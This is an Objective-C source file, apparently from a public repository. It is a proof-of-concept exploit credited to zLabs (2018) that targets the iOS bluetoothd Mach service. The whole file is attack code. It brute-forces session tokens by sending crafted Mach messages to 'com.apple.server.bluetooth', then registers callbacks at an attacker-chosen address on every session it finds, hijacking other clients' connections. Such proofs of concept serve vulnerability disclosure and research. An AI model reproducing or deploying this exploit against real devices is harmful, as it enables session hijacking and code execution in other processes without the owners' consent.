/
main.m
221 lines (170 loc) · 7.28 KB
/
main.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
//
// main.m
// bluetoothdPoC
//
// Created by Rani Idan.
// Copyright © 2018 zLabs. All rights reserved.
//
#import "AppDelegate.h"
#include <mach/mach.h>
extern kern_return_t bootstrap_look_up(mach_port_t bs, const char *service_name, mach_port_t *service);
/* When hijacking session between bluetoothd and client, add callback to the client and jump to CALLBACK_ADDRESS with CALLBACK_ADDITIONAL_DATA */
#define CALLBACK_ADDRESS 0xdeadbeef
#define CALLBACK_ADDITIONAL_DATA 0x13371337
#define BLUETOOTHD_CONST 0xFA300
#define BLUETOOTHD_WRONG_TOKEN 7
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE 0x44
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE 0x48
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS 0x113
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID 3
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT 0x1000
#define BLUETOOTHD_MIG_SERVER_NAME "com.apple.server.bluetooth"
#define ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET 0x28
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA 0x40
typedef unsigned int mach_msg_return_value;
mach_msg_return_t mach_msg_send(mach_msg_header_t *);
mach_port_t get_service_port(char *service_name)
{
kern_return_t ret = KERN_SUCCESS;
mach_port_t service_port = MACH_PORT_NULL;
mach_port_t bs = MACH_PORT_NULL;
ret = task_get_bootstrap_port(mach_task_self(), &bs);
ret = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (ret)
{
NSLog(@"Couldn't find port for %s",service_name);
return MACH_PORT_NULL;
}
NSLog(@"Got port: %x", service_port);
mach_port_deallocate(mach_task_self(), bs);
return service_port;
}
mach_msg_return_value BTLocalDevice_add_callback(mach_port_t bluetoothd_port, mach_port_t session_token, void* callback_address, long additional_data)
{
mach_port_t receive_port = MACH_PORT_NULL;
mach_msg_header_t * message = NULL;
char *data = NULL;
kern_return_t ret = KERN_SUCCESS;
mach_msg_return_value return_value = 0;
mach_msg_id_t msgh_id = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID;
mach_msg_size_t recv_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE;
mach_msg_size_t send_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE;
mach_msg_option_t options = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS;
mach_msg_size_t msg_size = MAX(recv_size, send_size);
ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
if ( ret != KERN_SUCCESS)
{
return_value = -3;
NSLog(@"Failed to allocate port ret=%x", ret);
NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
goto cleanup;
}
ret = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND);
if ( ret != KERN_SUCCESS)
{
return_value = -3;
NSLog(@"Failed to insert port right ret=%x", ret);
NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
goto cleanup;
}
message = malloc(msg_size);
data = (char *)message;
memset(message, 0, msg_size);
*((mach_port_t *)(data+ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET)) = session_token;
*((void **)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET)) = callback_address;
*((long *)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA)) = additional_data;
message->msgh_bits = 0x1513 ;
message->msgh_remote_port = bluetoothd_port; /* Request port */
message->msgh_local_port = receive_port; /* Reply port */
message->msgh_size = send_size; /* Message size */
message->msgh_reserved = 0;
message->msgh_id = BLUETOOTHD_CONST + msgh_id;
ret = mach_msg(message, /* The header */
options, /* Flags */
send_size, /* Send size */
recv_size, /* Max receive Size */
receive_port, /* Receive port */
BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT, /* No timeout */
MACH_PORT_NULL); /* No notification */
if(MACH_MSG_SUCCESS == ret)
{
return_value = *(mach_msg_return_value *) (((char *) message) + ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET);
if (return_value != BLUETOOTHD_WRONG_TOKEN) {
NSLog(@"Sent message id %d with token %x, returned: %x", msgh_id, session_token, return_value);
}
} else if (MACH_RCV_INVALID_NAME == ret)
{
NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
NSLog(@"mach_error_int: ret=%x", ret);
NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
return_value = -2;
}
else {
NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
NSLog(@"mach_error_int: ret=%x", ret);
NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
return_value = -1;
}
cleanup:
if(MACH_PORT_NULL != receive_port)
{
mach_port_destroy(mach_task_self(), receive_port);
}
if (NULL != message) {
free(message);
}
return return_value;
}
void try_to_add_callback_BTLocalDeviceAddCallbacks(void * address, long value)
{
int ports_found[0xffff] = {0};
int number_of_ports_found = 0;
mach_port_t bluetoothd_port = get_service_port(BLUETOOTHD_MIG_SERVER_NAME);
if (MACH_PORT_NULL == bluetoothd_port)
{
NSLog(@"Couldn't have bluetoothd port");
return;
}
NSLog(@"Starting to look for session tokens");
for (int i = 0; i <= 0xffff; i++) {
int id = 0;
id = (i << 16) + 1;
int result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
{
NSLog(@"Found port: %x", id);
ports_found[number_of_ports_found] = id;
number_of_ports_found ++;
}
id = (i << 16) + 2;
result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
{
NSLog(@"Found port: %x", id);
ports_found[number_of_ports_found] = id;
number_of_ports_found ++;
}
id = (i << 16);
result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
{
NSLog(@"Found port: %x", id);
ports_found[number_of_ports_found] = id;
number_of_ports_found ++;
}
}
for (int i = number_of_ports_found-1; i>=0; i--) {
NSLog(@"Adding callback: Port=%x address=%x value=%x", ports_found[i], (unsigned int)address, (unsigned int)value);
BTLocalDevice_add_callback(bluetoothd_port, ports_found[i],address, value);
}
NSLog(@"Done");
return;
}
void trigger() {
try_to_add_callback_BTLocalDeviceAddCallbacks((void *)CALLBACK_ADDRESS, CALLBACK_ADDITIONAL_DATA);
}
int main(int argc, char * argv[]) {
trigger();
}